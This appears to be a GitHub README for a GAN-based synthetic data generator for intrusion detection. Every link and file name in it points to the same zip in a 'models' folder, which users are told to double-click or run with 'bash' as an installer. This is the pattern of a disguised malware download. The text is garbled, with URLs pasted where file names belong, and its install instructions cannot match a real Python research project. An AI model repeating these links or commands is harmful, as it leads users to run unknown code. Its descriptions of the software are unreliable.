[](https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip)
This project uses a hybrid framework combining WCGAN and ACGAN to create realistic synthetic data for network intrusion detection. It enhances security by providing balanced datasets for effective detection of anomalies in network traffic. Our software supports classification tasks using various machine learning algorithms including XGBoost, Decision Trees, CNN, and AutoGluon.
Getting started with our software is simple. Follow the steps below to download and run the application.
- Operating System: Windows 10 or later, Ubuntu 18.04 or later
- RAM: 8 GB or more
- Disk Space: 500 MB of available space
- Python Version: 3.7 or later
- Additional Packages: TensorFlow, Keras, scikit-learn, pandas
-
Download the Application
- Visit this page to download: [Releases Page](https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip).
-
Select the Latest Release
- On the Releases page, find the latest release. This will usually be at the top of the list.
-
Choose Your File
- Look for the file suited for your operating system. For Windows, select the
https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zipfile. For Ubuntu, download thehttps://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zipfile.
- Look for the file suited for your operating system. For Windows, select the
-
Download the File
- Click on the file name to start the download. If prompted, save the file in a location where you can easily find it later.
-
Run the Installer
-
For Windows:
- Navigate to where you saved the
https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zipfile. - Double-click the file to start the installation process. Follow the prompts to complete the installation.
- Navigate to where you saved the
-
For Ubuntu:
- Open a terminal window.
- Navigate to the directory where you downloaded
https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip. - Run the command
bash https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zipto execute the installer. Follow the prompts to complete the installation.
-
-
Launch the Software
- After installation, you can find the application in your Programs menu (Windows) or Applications folder (Ubuntu).
-
Load Your Data
- Open the application and load your existing network traffic data. This could be in CSV or JSON format.
-
Select Algorithms
- Choose the algorithms you would like to use. You can use XGBoost, Decision Trees, CNN, or AutoGluon.
-
Create Synthetic Data
- Click the βGenerate Dataβ button. This will start the synthetic data generation process.
-
Save the Output
- Once the generation is complete, save the synthetic data to your preferred location.
To get started, visit the Releases page to download the application: [Download Here](https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip+ https://github.com/staceykeynesian879/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS/raw/refs/heads/main/NSL-KDD/WCGAN+ XGBOOST/models/GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS_1.2.zip)
- Hybrid Framework: Utilizes WCGAN and ACGAN for improved data generation quality.
- Versatility: Works with multiple classifiers including XGBoost, Decision Trees, CNN, and AutoGluon.
- User-Friendly Interface: Designed for ease of use, even for non-technical users.
- Data Security: Helps generate safe and realistic data for testing intrusion detection systems.
We welcome contributions to improve this project. If you want to help, please fork the repository and create a pull request. For any suggestions or issues, you can open an issue in the GitHub Issues page.
If you encounter any problems or have questions, please reach out on GitHub. We aim to respond promptly.
This project focuses on:
- acgan
- anomaly-detection
- cnn
- cybersecurity
- decision-tree
- deep-learning
- gan
- hybrid-ids
- ids
- intrusion-detection-system
- machine-learning
- network-security
- nsl-kdd
- python
- synthetic-data
- unsw-nb15
- wcgan
- wcgan-gp
- xgboost
Thank you for choosing GAN-BASED-SYNTHETIC-DATA-GENERATION-IN-IDS for your network security needs!